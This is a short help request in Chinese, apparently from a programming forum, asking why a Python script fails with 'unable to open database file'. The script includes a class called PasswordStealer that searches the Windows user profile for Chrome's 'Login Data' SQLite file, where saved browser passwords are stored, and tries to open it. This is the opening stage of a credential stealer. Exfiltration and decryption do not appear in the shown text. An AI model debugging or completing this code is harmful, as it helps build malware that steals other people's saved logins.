我正在处理从SQLite3文件读取的python中的脚本,但是每当我运行该脚本时,都会收到一条错误消息,提示“无法打开数据库文件”。 以下是一些可能有用的代码片段:
class SQLite3connection:
def __init__(self,path):
try:
self.connection = sqlite3.connect(path)
self.cursor = self.connection.cursor()
except Exception as e:
print("cannot connect to database",e)
sys.exit()
def run(self,query):
self.cursor.execute(query)
return self.cursor.fetchall()
class PasswordStealer:
def __init__(self):
try:
print("yee")
self.path = sys.argv[1]
except IndexError:
print("yee2")
for v in os.walk(os.getenv("USERPROFILE")):
if "Chrome" in v[1]:
print("yee3")
self.path = str(v[0]) + "\\Chrome\\User Data\\Default\\Login Data"
print(self.path)
self.connection = SQLite3connection(self.path)